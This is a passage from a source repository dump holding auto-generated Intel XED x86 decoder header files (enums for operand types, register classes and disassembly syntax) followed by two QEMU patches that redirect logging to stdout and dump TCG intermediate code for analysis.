OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-ctype-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_CTYPE_ENUM_H_) 37 | # define _XED_OPERAND_CTYPE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_CTYPE_INVALID, 41 | XED_OPERAND_CTYPE_XED_BITS_T, 42 | XED_OPERAND_CTYPE_XED_CHIP_ENUM_T, 43 | XED_OPERAND_CTYPE_XED_ERROR_ENUM_T, 44 | XED_OPERAND_CTYPE_XED_ICLASS_ENUM_T, 45 | XED_OPERAND_CTYPE_XED_INT32_T, 46 | XED_OPERAND_CTYPE_XED_INT64_T, 47 | XED_OPERAND_CTYPE_XED_OPERAND_ELEMENT_TYPE_ENUM_T, 48 | XED_OPERAND_CTYPE_XED_REG_ENUM_T, 49 | XED_OPERAND_CTYPE_XED_UINT16_T, 50 | XED_OPERAND_CTYPE_XED_UINT64_T, 51 | XED_OPERAND_CTYPE_XED_UINT8_T, 52 | XED_OPERAND_CTYPE_LAST 53 | } xed_operand_ctype_enum_t; 54 | 55 | /// This converts strings to #xed_operand_ctype_enum_t types. 56 | /// @param s A C-string. 57 | /// @return #xed_operand_ctype_enum_t 58 | /// @ingroup ENUM 59 | XED_DLL_EXPORT xed_operand_ctype_enum_t str2xed_operand_ctype_enum_t(const char* s); 60 | /// This converts strings to #xed_operand_ctype_enum_t types. 61 | /// @param p An enumeration element of type xed_operand_ctype_enum_t. 62 | /// @return string 63 | /// @ingroup ENUM 64 | XED_DLL_EXPORT const char* xed_operand_ctype_enum_t2str(const xed_operand_ctype_enum_t p); 65 | 66 | /// Returns the last element of the enumeration 67 | /// @return xed_operand_ctype_enum_t The last element of the enumeration. 68 | /// @ingroup ENUM 69 | XED_DLL_EXPORT xed_operand_ctype_enum_t xed_operand_ctype_enum_t_last(void); 70 | #endif 71 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-operand-ctype-map.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-ctype-map.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_CTYPE_MAP_H_) 37 | # define _XED_OPERAND_CTYPE_MAP_H_ 38 | #include "xed-internal-header.h" 39 | xed_operand_ctype_enum_t xed_operand_get_ctype(xed_operand_enum_t opname); 40 | unsigned int xed_operand_decider_get_width(xed_operand_enum_t opname); 41 | #endif 42 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-operand-type-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-type-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_TYPE_ENUM_H_) 37 | # define _XED_OPERAND_TYPE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_TYPE_INVALID, 41 | XED_OPERAND_TYPE_ERROR, 42 | XED_OPERAND_TYPE_IMM, 43 | XED_OPERAND_TYPE_IMM_CONST, 44 | XED_OPERAND_TYPE_NT_LOOKUP_FN, 45 | XED_OPERAND_TYPE_REG, 46 | XED_OPERAND_TYPE_LAST 47 | } xed_operand_type_enum_t; 48 | 49 | /// This converts strings to #xed_operand_type_enum_t types. 50 | /// @param s A C-string. 51 | /// @return #xed_operand_type_enum_t 52 | /// @ingroup ENUM 53 | XED_DLL_EXPORT xed_operand_type_enum_t str2xed_operand_type_enum_t(const char* s); 54 | /// This converts strings to #xed_operand_type_enum_t types. 55 | /// @param p An enumeration element of type xed_operand_type_enum_t. 56 | /// @return string 57 | /// @ingroup ENUM 58 | XED_DLL_EXPORT const char* xed_operand_type_enum_t2str(const xed_operand_type_enum_t p); 59 | 60 | /// Returns the last element of the enumeration 61 | /// @return xed_operand_type_enum_t The last element of the enumeration. 62 | /// @ingroup ENUM 63 | XED_DLL_EXPORT xed_operand_type_enum_t xed_operand_type_enum_t_last(void); 64 | #endif 65 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-operand-visibility-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-visibility-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_VISIBILITY_ENUM_H_) 37 | # define _XED_OPERAND_VISIBILITY_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPVIS_INVALID, 41 | XED_OPVIS_EXPLICIT, ///< Shows up in operand encoding 42 | XED_OPVIS_IMPLICIT, ///< Part of the opcode, but listed as an operand 43 | XED_OPVIS_SUPPRESSED, ///< Part of the opcode, but not typically listed as an operand 44 | XED_OPVIS_LAST 45 | } xed_operand_visibility_enum_t; 46 | 47 | /// This converts strings to #xed_operand_visibility_enum_t types. 48 | /// @param s A C-string. 49 | /// @return #xed_operand_visibility_enum_t 50 | /// @ingroup ENUM 51 | XED_DLL_EXPORT xed_operand_visibility_enum_t str2xed_operand_visibility_enum_t(const char* s); 52 | /// This converts strings to #xed_operand_visibility_enum_t types. 53 | /// @param p An enumeration element of type xed_operand_visibility_enum_t. 54 | /// @return string 55 | /// @ingroup ENUM 56 | XED_DLL_EXPORT const char* xed_operand_visibility_enum_t2str(const xed_operand_visibility_enum_t p); 57 | 58 | /// Returns the last element of the enumeration 59 | /// @return xed_operand_visibility_enum_t The last element of the enumeration. 60 | /// @ingroup ENUM 61 | XED_DLL_EXPORT xed_operand_visibility_enum_t xed_operand_visibility_enum_t_last(void); 62 | #endif 63 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-reg-class-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-reg-class-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_REG_CLASS_ENUM_H_) 37 | # define _XED_REG_CLASS_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_REG_CLASS_INVALID, 41 | XED_REG_CLASS_BNDCFG, 42 | XED_REG_CLASS_BNDSTAT, 43 | XED_REG_CLASS_BOUND, 44 | XED_REG_CLASS_CR, 45 | XED_REG_CLASS_DR, 46 | XED_REG_CLASS_FLAGS, 47 | XED_REG_CLASS_GPR, 48 | XED_REG_CLASS_GPR16, 49 | XED_REG_CLASS_GPR32, 50 | XED_REG_CLASS_GPR64, 51 | XED_REG_CLASS_GPR8, 52 | XED_REG_CLASS_IP, 53 | XED_REG_CLASS_MASK, 54 | XED_REG_CLASS_MMX, 55 | XED_REG_CLASS_MXCSR, 56 | XED_REG_CLASS_PSEUDO, 57 | XED_REG_CLASS_PSEUDOX87, 58 | XED_REG_CLASS_SR, 59 | XED_REG_CLASS_TMP, 60 | XED_REG_CLASS_X87, 61 | XED_REG_CLASS_XCR, 62 | XED_REG_CLASS_XMM, 63 | XED_REG_CLASS_YMM, 64 | XED_REG_CLASS_LAST 65 | } xed_reg_class_enum_t; 66 | 67 | /// This converts strings to #xed_reg_class_enum_t types. 68 | /// @param s A C-string. 69 | /// @return #xed_reg_class_enum_t 70 | /// @ingroup ENUM 71 | XED_DLL_EXPORT xed_reg_class_enum_t str2xed_reg_class_enum_t(const char* s); 72 | /// This converts strings to #xed_reg_class_enum_t types. 73 | /// @param p An enumeration element of type xed_reg_class_enum_t. 74 | /// @return string 75 | /// @ingroup ENUM 76 | XED_DLL_EXPORT const char* xed_reg_class_enum_t2str(const xed_reg_class_enum_t p); 77 | 78 | /// Returns the last element of the enumeration 79 | /// @return xed_reg_class_enum_t The last element of the enumeration. 80 | /// @ingroup ENUM 81 | XED_DLL_EXPORT xed_reg_class_enum_t xed_reg_class_enum_t_last(void); 82 | #endif 83 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-reg-class.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-reg-class.h 32 | /// 33 | 34 | #ifndef _XED_REG_CLASS_H_ 35 | # define _XED_REG_CLASS_H_ 36 | 37 | #include "xed-types.h" 38 | #include "xed-reg-enum.h" // a generated file 39 | #include "xed-reg-class-enum.h" // a generated file 40 | 41 | /// Returns the register class of the given input register. 42 | ///@ingroup REGINTFC 43 | XED_DLL_EXPORT xed_reg_class_enum_t xed_reg_class(xed_reg_enum_t r); 44 | 45 | /// Returns the specific width GPR reg class (like XED_REG_CLASS_GPR32 or 46 | /// XED_REG_CLASS_GPR64) 47 | /// for a given GPR register. Or XED_REG_INVALID if not a GPR. 48 | ///@ingroup REGINTFC 49 | XED_DLL_EXPORT xed_reg_class_enum_t xed_gpr_reg_class(xed_reg_enum_t r); 50 | 51 | /// Returns the largest enclosing register for any kind of register; This 52 | /// is mostly useful for GPRs. (64b mode assumed) 53 | ///@ingroup REGINTFC 54 | XED_DLL_EXPORT xed_reg_enum_t 55 | xed_get_largest_enclosing_register(xed_reg_enum_t r); 56 | 57 | /// Returns the largest enclosing register for any kind of register; This 58 | /// is mostly useful for GPRs in 32b mode. 59 | ///@ingroup REGINTFC 60 | XED_DLL_EXPORT xed_reg_enum_t 61 | xed_get_largest_enclosing_register32(xed_reg_enum_t r); 62 | 63 | /// Returns the width, in bits, of the named register. 32b mode 64 | ///@ingroup REGINTFC 65 | XED_DLL_EXPORT xed_uint32_t 66 | xed_get_register_width_bits(xed_reg_enum_t r); 67 | 68 | /// Returns the width, in bits, of the named register. 64b mode. 69 | ///@ingroup REGINTFC 70 | XED_DLL_EXPORT xed_uint32_t 71 | xed_get_register_width_bits64(xed_reg_enum_t r); 72 | 73 | //////////////////////////////////////////////////////////////////////////// 74 | 75 | #endif 76 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-reg-role-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-reg-role-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_REG_ROLE_ENUM_H_) 37 | # define _XED_REG_ROLE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_REG_ROLE_INVALID, 41 | XED_REG_ROLE_NORMAL, ///< Register is a normal register 42 | XED_REG_ROLE_SEGREG0, ///< The segment register associated with the first memop 43 | XED_REG_ROLE_SEGREG1, ///< The segment register associated with the second memop 44 | XED_REG_ROLE_BASE0, ///< The base register associated with the first memop 45 | XED_REG_ROLE_BASE1, ///< The base register associated with the second memop 46 | XED_REG_ROLE_INDEX, ///< The index register associated with the first memop 47 | XED_REG_ROLE_LAST 48 | } xed_reg_role_enum_t; 49 | 50 | /// This converts strings to #xed_reg_role_enum_t types. 51 | /// @param s A C-string. 52 | /// @return #xed_reg_role_enum_t 53 | /// @ingroup ENUM 54 | XED_DLL_EXPORT xed_reg_role_enum_t str2xed_reg_role_enum_t(const char* s); 55 | /// This converts strings to #xed_reg_role_enum_t types. 56 | /// @param p An enumeration element of type xed_reg_role_enum_t. 57 | /// @return string 58 | /// @ingroup ENUM 59 | XED_DLL_EXPORT const char* xed_reg_role_enum_t2str(const xed_reg_role_enum_t p); 60 | 61 | /// Returns the last element of the enumeration 62 | /// @return xed_reg_role_enum_t The last element of the enumeration. 63 | /// @ingroup ENUM 64 | XED_DLL_EXPORT xed_reg_role_enum_t xed_reg_role_enum_t_last(void); 65 | #endif 66 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-syntax-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-syntax-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_SYNTAX_ENUM_H_) 37 | # define _XED_SYNTAX_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_SYNTAX_INVALID, 41 | XED_SYNTAX_XED, ///< XED disassembly syntax 42 | XED_SYNTAX_ATT, ///< ATT SYSV disassembly syntax 43 | XED_SYNTAX_INTEL, ///< Intel disassembly syntax 44 | XED_SYNTAX_LAST 45 | } xed_syntax_enum_t; 46 | 47 | /// This converts strings to #xed_syntax_enum_t types. 48 | /// @param s A C-string. 49 | /// @return #xed_syntax_enum_t 50 | /// @ingroup ENUM 51 | XED_DLL_EXPORT xed_syntax_enum_t str2xed_syntax_enum_t(const char* s); 52 | /// This converts strings to #xed_syntax_enum_t types. 53 | /// @param p An enumeration element of type xed_syntax_enum_t. 54 | /// @return string 55 | /// @ingroup ENUM 56 | XED_DLL_EXPORT const char* xed_syntax_enum_t2str(const xed_syntax_enum_t p); 57 | 58 | /// Returns the last element of the enumeration 59 | /// @return xed_syntax_enum_t The last element of the enumeration. 60 | /// @ingroup ENUM 61 | XED_DLL_EXPORT xed_syntax_enum_t xed_syntax_enum_t_last(void); 62 | #endif 63 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-version.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | 32 | #if !defined(_XED_VERSION_H_) 33 | # define _XED_VERSION_H_ 34 | #include "xed-common-hdrs.h" 35 | 36 | ///@ingroup INIT 37 | /// Returns a string representing XED svn commit revision and time stamp. 38 | XED_DLL_EXPORT char const* xed_get_version(void); 39 | ///@ingroup INIT 40 | /// Returns a copyright string. 41 | XED_DLL_EXPORT char const* xed_get_copyright(void); 42 | #endif 43 | -------------------------------------------------------------------------------- /patches/qemu.log.patch: -------------------------------------------------------------------------------- 1 | diff --git a/qemu-log.c b/qemu-log.c 2 | index 797f2af..ce59e4a 100644 3 | --- a/qemu-log.c 4 | +++ b/qemu-log.c 5 | @@ -30,9 +30,12 @@ void qemu_log(const char *fmt, ...) 6 | va_list ap; 7 | 8 | va_start(ap, fmt); 9 | + vprintf(fmt, ap); 10 | + /* 11 | if (qemu_logfile) { 12 | vfprintf(qemu_logfile, fmt, ap); 13 | } 14 | + */ 15 | va_end(ap); 16 | } 17 | 18 | diff --git a/tcg/tcg.c b/tcg/tcg.c 19 | index f1e0763..360e487 100644 20 | --- a/tcg/tcg.c 21 | +++ b/tcg/tcg.c 22 | @@ -2496,6 +2496,8 @@ static inline int tcg_gen_code_common(TCGContext *s, uint8_t *gen_code_buf, 23 | } 24 | #endif 25 | 26 | + tcg_dump_ops(s); 27 | + 28 | tcg_reg_alloc_start(s); 29 | 30 | s->code_buf = gen_code_buf; 31 | -------------------------------------------------------------------------------- /patches/qemu.noprolog.patch: -------------------------------------------------------------------------------- 1 | diff --git a/qemu-log.c b/qemu-log.c 2 | index 797f2af..ce59e4a 100644 3 | --- a/qemu-log.c 4 | +++ b/qemu-log.c 5 | @@ -30,9 +30,12 @@ void qemu_log(const char *fmt, ...) 6 | va_list ap; 7 | 8 | va_start(ap, fmt); 9 | + vprintf(fmt, ap); 10 | + /* 11 | if (qemu_logfile) { 12 | vfprintf(qemu_logfile, fmt, ap); 13 | } 14 | + */ 15 | va_end(ap); 16 | } 17 | 18 | diff --git a/target-i386/translate.c b/target-i386/translate.c 19 | index 707ebd5..d0dae94 100644 20 | --- a/target-i386/translate.c 21 | +++ b/target-i386/translate.c 22 | @@ -7963,7 +7963,7 @@ static inline void gen_intermediate_code_internal(X86CPU *cpu, 23 | if (max_insns == 0) 24 | max_insns = CF_COUNT_MASK; 25 | 26 | - gen_tb_start(); 27 | + /*gen_tb_start();*/ 28 | for(;;) { 29 | if (unlikely(!QTAILQ_EMPTY(&env->breakpoints))) { 30 | QTAILQ_FOREACH(bp, &env->breakpoints, entry) { 31 | @@ -8021,7 +8021,7 @@ static inline void gen_intermediate_code_internal(X86CPU *cpu, 32 | } 33 | if (tb->cflags & CF_LAST_IO) 34 | gen_io_end(); 35 | - 